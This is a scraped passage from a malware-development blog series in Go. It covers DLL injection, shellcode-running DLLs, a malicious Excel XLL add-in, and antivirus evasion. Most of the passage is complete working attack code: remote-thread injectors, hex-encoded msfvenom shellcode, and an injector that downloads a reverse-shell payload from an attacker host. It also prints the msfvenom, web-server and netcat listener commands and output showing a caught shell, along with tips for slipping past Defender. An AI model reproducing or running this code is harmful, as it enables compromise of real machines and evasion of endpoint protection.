case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ### [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection#complete-code) Complete Code Copy package main import ( "fmt" "io" "log" "net/http" "os" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { pid := uint32(18080) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //dll pops a messagebox sc, err := wget("http://127.0.0.1/hello.dll") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } // Write file to disk path, err := os.Getwd() if err != nil { log.Println(err) } fmt.Printf("[+] Current Directory: %s\n", path) fname := path + "\\hello.dll" fnameBytes := []byte(fname) err = os.WriteFile(fname, sc, 0644) if err != nil { log.Fatalf("[FATAL] Unable to write file %s ", fname) } fmt.Printf("[+] Writing file: %s\n", fname) //Get a process handle fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) // Allocate memory on remote process modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(fnameBytes)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_EXECUTE_READ)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) // Write to remote memory var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &fnameBytes[0], uintptr(len(fnameBytes)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes)) // Get address of loadLibraryA procLoadLibraryA := modKernel32.NewProc("LoadLibraryA") // CreateProcess to Load the DLL procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), procLoadLibraryA.Addr(), addr, uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 1 year ago Was this helpful? --- # Shellcode development | Malware Development In this blog series I will describe how I go about developing windows x64 shellcode using golang and the keystone engine (without cgo). After setting up an the initial environment I will go through the development process to create a dll reflective loader in x64 assembly. Last updated 1 year ago Was this helpful? --- # 3. Malicious XLL using Golang | Malware Development [](https://www.scriptchildie.com/payloads/payloads/3.-malicious-xll-using-golang#introduction) Introduction ---------------------------------------------------------------------------------------------------------------- [The primary reason for writing Microsoft Excel XLLs](https://learn.microsoft.com/en-us/office/client-developer/excel/developing-excel-xlls) and using the C API is to create high-performance worksheet functions. The applications of high-performance functions—and, starting in Excel 2007, the ability to write multithreaded interfaces to powerful server resources—make it a very important part of Excel extensibility. The performance of XLLs was further enhanced in Excel 2007 by the addition of new data types and, most important, support for multithreading. [](https://www.scriptchildie.com/payloads/payloads/3.-malicious-xll-using-golang#turning-dlls-into-xlls-add-in-manager-interface-functions) [Turning DLLs into XLLs: Add-in Manager Interface Functions](https://learn.microsoft.com/en-us/office/client-developer/excel/creating-xlls#turning-dlls-into-xlls-add-in-manager-interface-functions) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- To create an XLL (from a DLL) we need to have as a minimum an to export the xlAutoOpen function. Excel calls the [xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen) function whenever the XLL is activated. The add-in will be activated at the start of an Excel session if it was active in the last Excel session that ended normally. The add-in is activated if it is loaded during an Excel session. The add-in can be deactivated and reactivated during an Excel session, and the function is called on reactivation. That's a good place to add our shellcode running code, although we don't have to. We might be able to bypass anti-malware engines by inserting our code in the xlAutoClose function. We take the code from the [Malicious dll](https://www.scriptchildie.com/payloads/payloads/2.-malicious-dll-using-golang) and modify the shrun function to xlAutoOpen and rename the compiled dll to xll. So we execute the code using `go build -buildmode=c-shared -o maliciousxll.xll` Double clicking on the xll opens excel: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fp8dE0rJRMyIzyzVfR7vf%252Fimage.png%3Falt%3Dmedia%26token%3Db1b8a5df-aea6-4439-b9cc-071fb39c559e&width=768&dpr=4&quality=100&sign=dce75998&sv=2) messagebox from init function in EXCEL We then see the calculator pop up ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FNi6Y1gamu6ByLEGOqsBN%252Fimage.png%3Falt%3Dmedia%26token%3Dbd815f26-de1a-4671-b84f-3818e3fc4a8a&width=768&dpr=4&quality=100&sign=fa52aca3&sv=2) Calculator from the xll If we are targeting the 32-bit version of office we should use a 32-bit shellcode and compile the dll as a 32-bit dll. [](https://www.scriptchildie.com/payloads/payloads/3.-malicious-xll-using-golang#complete-code) Complete Code ------------------------------------------------------------------------------------------------------------------ Copy package main import "C" // Cgo is required to compile a dll import ( "encoding/hex" "fmt" "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) // This code will execute before any other function executes func init() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("Shellcode Runner"), windows.StringToUTF16Ptr("Hello from EXCEL!"), 0x0, ) } // Exported functions should have the following comment right before the function // //export xlAutoOpen func xlAutoOpen() { //msfvenom -f hex -p windows/x64/exec cmd=calc sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") fmt.Println("[+] Allocating memory for shellcode") addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[+] Wrote shellcode bytes to destination address") fmt.Println("[+] Changing Permissions to RX") var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } modKernel32 := syscall.NewLazyDLL("kernel32.dll") procCreateThread := modKernel32.NewProc("CreateThread") tHandle, _, lastErr := procCreateThread.Call( uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(0)) if tHandle == 0 { log.Fatalf("Unable to Create Thread: %v\n", lastErr) } fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle) windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } // doesn't really do anything but it's needed to compile func main() { } Last updated 1 year ago Was this helpful? --- # 1. Preparing the Go Environment | Malware Development To run and execute code in Go you should first download the compiler. The installers for Linux, macOS and Windows can all be found on the official website [here](https://go.dev/doc/install) . Once the compiler is installed we run the following command to make sure everything is working as expected Copy go version ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FHDL7cWGDCOwr1WGsAlKU%252Fimage.png%3Falt%3Dmedia%26token%3D96e87dbd-1cbd-42a3-942a-ae24647ddc03&width=768&dpr=4&quality=100&sign=7d23ca66&sv=2) Go Version Then it is highly recommended to install an IDE. It helps with code suggestions and highlighting errors in our code. My personal preference is [VScode](https://code.visualstudio.com/download) . I like it that I can use the same IDE in every OS. When VSCode is installed we go ahead and install the GO language support for VSCode from the extensions: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F45Eq6eaIiyJFO7QVHqBq%252Fimage.png%3Falt%3Dmedia%26token%3Df5f5f157-635e-4a46-b7a8-4b87b4279d98&width=768&dpr=4&quality=100&sign=d3a2d88a&sv=2) Go Extension in VSCode Last updated 1 year ago Was this helpful? --- # 1. Basic DLL using Golang | Malware Development [A DLL is a library](https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library) that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Each program can use the functionality that is contained in this DLL to implement an Open dialog box. It helps promote code reuse and efficient memory usage. Let's dive on how we can program and compile a dll in Golang. [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#dll-template-in-c) DLL Template in C ---------------------------------------------------------------------------------------------------------------------- In C++ a [skeleton DLL](https://raw.githubusercontent.com/FuzzySecurity/DLL-Template/master/DLL-Template/Dll-Template.cpp) template looks like this: Copy #include "stdafx.h" #include #include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"DllMain loaded", L"Success", 0); case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) BOOL test() { MessageBox(NULL, L"Exported test() function loaded", L"Success", 0); return TRUE; } There are a few things happening here. In the DllMain function there is a case switch where code execution happens when the dll is attached, detached on both process and thread. We cannot recreate DllMain inGolang, but we have alternatives. On line 22 a function named test() is exported. Windows comes with a tool for testing dlls called rundll32.exe. To run an exported dll function the following code can be used: Copy rundll32.exe , Although we cannot recreate a like for like dll from c using Golang let's try recreate the above functionality. [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#dll-template-in-golang) DLL Template in Golang -------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#golang-code) Golang Code: Copy package main import "C" // Cgo is required to compile a dll import "golang.org/x/sys/windows" // This code will execute before any other function executes func init() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("init loaded"), windows.StringToUTF16Ptr("Success"), 0x0, ) } //Exported functions should have the following comment right before the function //export Test func Test() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("Exported test() function loaded"), windows.StringToUTF16Ptr("Success"), 0x0, ) } // doesn't really do anything but it's needed to compile func main() { } #### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#line-3-cgo) Line 3, CGO: import "C" / cgo is required to compile a dll in go #### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#line-7-init) Line 7, init(): In Go, the init function is a special function that can be defined in a package. The init function is not called explicitly; instead, it is automatically called by the Go runtime before the exported function of the program. #### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#line-17-exported-function) Line 17, Exported function: All exported functions should be proceeded with the following comment: `//export ` #### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#line-28-main) Line 28, main() It's only required for the code to compile ### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#compiling-the-dll) Compiling the DLL In order to compile the code Cgo should be installed on the PC. Here is a [setup guide](https://subscription.packtpub.com/book/programming/9781789138412/app01/app01lvl1sec95/setting-up-cgo) . `go build -buildmode=c-shared -o test.dll` ### [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#executing-the-dll-using-rundll32) Executing the dll using rundll32 Since our dll doesnt have a main function, we have to specify the function. In our code we exported the Test function so that's what we will run. `rundll32.exe .\test.dll, Test` After running the dll function Test, 2 messageboxes will show up. Firstly the one defined in the init() function and then the one from the Test() function. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FPWhPiIexbYAtQj3Ftrfq%252Fimage.png%3Falt%3Dmedia%26token%3D12848549-7a67-475a-9822-a6b1d36adc29&width=768&dpr=4&quality=100&sign=aecd01db&sv=2) init function messagebox shows up first ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FgvcUc3UiFyyX1ybg5N50%252Fimage.png%3Falt%3Dmedia%26token%3Dae2764e5-dc5f-4b13-ad1e-acde173a43fb&width=768&dpr=4&quality=100&sign=1aeca4b0&sv=2) and then the test() messagebox pops We now have all the knowledge we need to generate a [malicious dll](https://www.scriptchildie.com/payloads/payloads/2.-malicious-dll-using-golang) . [](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang#complete-code) Complete Code -------------------------------------------------------------------------------------------------------------- Copy package main import "C" // Cgo is required to compile a dll import "golang.org/x/sys/windows" // This code will execute before any other function executes func init() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("init loaded"), windows.StringToUTF16Ptr("Success"), 0x0, ) } //Exported functions should have the following comment right before the function //export Test func Test() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("Exported test() function loaded"), windows.StringToUTF16Ptr("Success"), 0x0, ) } // doesn't really do anything but it's needed to compile func main() { } Last updated 1 year ago Was this helpful? --- # 2. Malicious DLL using Golang | Malware Development Armed with the knowledge of creating a [shellcode runner](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) and [creating a basic dll](https://www.scriptchildie.com/payloads/payloads/1.-basic-dll-using-golang) we can now go ahead and create a shellcode running dll. The only difference between the basic dll and the malicious dll is the exported function. We copy-pasted the code from the shellcode runner in a new exported function called shrun(). When we execute the dll we get the initial pop up from the init function. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FndnuqkQ51nLAif6bozpf%252Fimage.png%3Falt%3Dmedia%26token%3D789f3999-ecc8-431c-b7aa-3146012b8b69&width=768&dpr=4&quality=100&sign=b23ecdf8&sv=2) Init function messagebox Once we click OK, the calculator from our shellcode pops up. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F9wjRDCp3npTxPx4a01AE%252Fimage.png%3Falt%3Dmedia%26token%3Dbda839b7-98c2-468f-b372-6d890dc9e5d0&width=768&dpr=4&quality=100&sign=e4074b33&sv=2) Calculator pop up Complete Code: Copy package main import "C" // Cgo is required to compile a dll import ( "encoding/hex" "fmt" "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) // This code will execute before any other function executes func init() { windows.MessageBox( windows.HWND(0), windows.StringToUTF16Ptr("Shellcode Runner"), windows.StringToUTF16Ptr("After clicking OK the shellcode will run"), 0x0, ) } // Exported functions should have the following comment right before the function // //export shrun func shrun() { //msfvenom -f hex -p windows/x64/exec cmd=calc sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") fmt.Println("[+] Allocating memory for shellcode") addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[+] Wrote shellcode bytes to destination address") fmt.Println("[+] Changing Permissions to RX") var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } modKernel32 := syscall.NewLazyDLL("kernel32.dll") procCreateThread := modKernel32.NewProc("CreateThread") tHandle, _, lastErr := procCreateThread.Call( uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(0)) if tHandle == 0 { log.Fatalf("Unable to Create Thread: %v\n", lastErr) } fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle) windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } // doesn't really do anything but it's needed to compile func main() { } Last updated 1 year ago Was this helpful? --- # 3. VPN abuse for Endpoint Protection Evasion | Malware Development [1\. Global Protect Abuse 1/2](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2) [2\. Global Protect Abuse 2/2](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/2.-global-protect-abuse-2-2) Was this helpful? --- # 1. Introduction | Malware Development Antivirus is a piece of software installed on a computer to block malicious executables from running. Identifying if the software is malicious is done by "static" signatures or from the executable's behaviour(sandbox or runtime). * Static analysis usually looks at the hash of the executable, Import Address Table etc. when the executable hits the disk. This is also something that is done in memory. * Behaviour looks for certain patterns at runtime. For example in a meterpreter session when the migrate command is used MS Defender will kill the session immediately even though we were able to successfully run it. This is because Defender detected the process injection sequence. * Sandbox evasion: The AV might run the executable in an isolated environment to check if there is any malicious behaviour before actually letting the executable run on the host. Defender got pretty good at detecting the '[classic shellcode injection](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection) ' technique. I will start modifying the code to get it to run on a fully patched windows host. Note: This will not work on most modern EDRs. That's something I will go into more detail in the upcoming series. Last updated 2 years ago Was this helpful? --- # AV Bypass | Malware Development [1\. Introduction](https://www.scriptchildie.com/evasion/av-bypass/1.-introduction) [2\. Remove the shellcode from the payload](https://www.scriptchildie.com/evasion/av-bypass/2.-remove-the-shellcode-from-the-payload) [3\. Delay Execution](https://www.scriptchildie.com/evasion/av-bypass/3.-delay-execution) [4\. XOR Encryption](https://www.scriptchildie.com/evasion/av-bypass/4.-xor-encryption) [5\. AMSI Bypass](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass) Last updated 1 year ago Was this helpful? --- # EDR Bypass | Malware Development Firstly let's understand what an EDR (Endpoint Detection & Response) is and what's the difference with a traditional AntiVirus. Checkpoint provides a good description on the main differences in [this article](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/) . (also copied below) ### [](https://www.scriptchildie.com/evasion/edr-bypass#what-is-edr) [What Is EDR?](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhatIsEDR) EDR provide multilayered, integrated endpoint protection. Key features of an EDR security solution include: * Alert Triage: Security analysts are often overwhelmed by large volumes of alerts from various cybersecurity solutions. EDR triages potential malicious events, enabling security analysts to focus their efforts where they are most effective. * Threat Hunting Support: Threat hunting enables an organization to identify and respond to threats that were not detected or blocked by enterprise security solutions. EDR solutions should provide integrated support for threat hunting activities. * Data Aggregation and Enrichment: Contextual information is vital to differentiating between true cyberattacks and false positives. EDR solutions aggregate data from multiple sources and use this data to more accurately identify true threats. * Integrated Incident Response: EDR should offer support for incident response within the same console. By eliminating context switching, this supports more rapid incident response. * Multiple Response Options: Different security incidents require different types and levels of response. An EDR security solution should provide multiple options (quarantine, eradication, etc.) for an analyst to address the issue. ### [](https://www.scriptchildie.com/evasion/edr-bypass#what-is-antivirus) [What Is Antivirus?](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhatIsAntivirus) Antivirus solutions are designed to identify malicious software or code that has infected a computer. AVs use various methods to identify potential malware infections, including: * Signature-Based Detection: Signature-based detection identifies known threats based on signatures such as file hashes, command and control domains, IP addresses, and similar features. * Heuristic Detection: Heuristic or anomaly detection identifies malware based on unusual or malicious functionality. This enables it to identify zero-day threats that signature-based detection would miss. * Rootkit Detection: Rootkit detection identifies malware designed to acquire deep, administrative access to an infected computer. * Real-Time Detection: Real-time detection attempts to identify malware at time of use by scanning and monitoring recently-accessed files. AV solutions enable the detection and remediation of malware infections on a computer. This can include terminating malicious processes, quarantining suspicious files, and eradicating malware infections. ### [](https://www.scriptchildie.com/evasion/edr-bypass#why-av-is-not-enough) [Why AV Is Not Enough](https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/edr-vs-antivirus/#WhyAVIsNotEnough) AV is designed to identify malware on a computer, but cyber threat actors are growing increasingly sophisticated. Traditional, signature-based detection is no longer effective at identifying modern malware due to the rapid evolution of malware and the use of unique malware and infrastructure for cyberattack campaigns. Additionally, malware developers are using various techniques such as fileless malware to evade detection by antivirus solutions. Detection of modern threats to endpoint security requires more information and context than is available to AV systems. EDR integrates a range of security functions, enabling it to detect trends and other indicators of a successful incursion. Additionally, the response capabilities provided by EDR enable security analysts to more quickly act to address potential security incidents, limiting the impact of an attack. Last updated 1 year ago Was this helpful? --- # 2. Remove the shellcode from the payload | Malware Development Shellcode payloads such as the ones coming from msfvenom are well documented and have static signatures. I would be surprised that a simple shellcode loader will go undetected. How do we bypass static detections? There are various ways of doing it but the most sensible is to start by removing the payload from the initial payload. We can host the actual payload remotely and download it at runtime. Initially I added the shellcode as a byte slice in my program and I was greeted by the following message from defender. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FtcPArYlVqvQgCdJ8klUp%252Fimage.png%3Falt%3Dmedia%26token%3De755fbb4-636c-4656-893c-af45311f2927&width=768&dpr=4&quality=100&sign=43895854&sv=2) Meterpreter Payload Let's write a GO function that downloads the shellcode from a website. Copy func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } The above function will receive the URL of the shellcode file and return it in a byte array. If there is any connection issue it will return an empty slice and an error. Jumping over to the kali machine we can generate our code using msfvenom and host it using the simplehttpserver in python. Shellcode Generation Copy ┌──(kali㉿kali)-[~/Desktop] └─$ msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Saved as: shcode.malic Host File on a websever Copy ┌──(kali㉿kali)-[~/Desktop] └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.217.1 - - [01/Sep/2023 09:41:25] "GET /shcode.malic HTTP/1.1" 200 - netcat listener Copy ┌──(kali㉿kali)-[~/Desktop] └─$ nc -lvp 443 listening on [any] 443 ... 192.168.217.1: inverse host lookup failed: Host name lookup failure connect to [192.168.217.128] from (UNKNOWN) [192.168.217.1] 14351 Defender is still suspicious of the executable but it doesn't get flagged immediately. Since I disabled automatic sample submission Microsoft is asking if I want to send them a sample for review. (Dismiss) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FT1qichKuOydjCDHMt1FK%252Fimage.png%3Falt%3Dmedia%26token%3D6dcfcedb-9ca0-400a-954c-0abfba60def0&width=768&dpr=4&quality=100&sign=b5b65287&sv=2) Defender Alert ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FuR0nRJpddW3wzGfO4bhm%252Fimage.png%3Falt%3Dmedia%26token%3D2877053e-b9be-46ed-949f-95f0bc78f2fd&width=768&dpr=4&quality=100&sign=11bb3d3&sv=2) Successful reverse shell was achieved Even though the code executed successfully from notepad, we should still further modify the code so that Defender doesn't flag it as suspicious at all. ### [](https://www.scriptchildie.com/evasion/av-bypass/2.-remove-the-shellcode-from-the-payload#complete-code) Complete Code Copy package main import ( "fmt" "io" "log" "net/http" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { pid := uint32(20496) PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF //msfvenom -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic sc, err := wget("http://192.168.217.128/shcode.malic") if err != nil { log.Fatalf("[FATAL] Unable to connect to the host %v ", err) } fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid) pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid) if err != nil { log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err) } fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid) modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_READWRITE)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address") } fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc)) var oldProtect uint32 err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread") var threadId uint32 = 0 tHandle, _, lastErr := procCreateRemoteThread.Call( uintptr(pHandle), uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(unsafe.Pointer(&threadId)), ) if tHandle == 0 { log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr) } fmt.Printf("[+] Handle of newly created thread: 0x%x \n[+] Thread ID: %d\n", tHandle, threadId) //windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } func wget(url string) ([]byte, error) { resp, err := http.Get(url) if err != nil { return []byte{}, err } defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return []byte{}, err } return body, nil } Last updated 2 years ago Was this helpful? --- # 3. Delay Execution | Malware 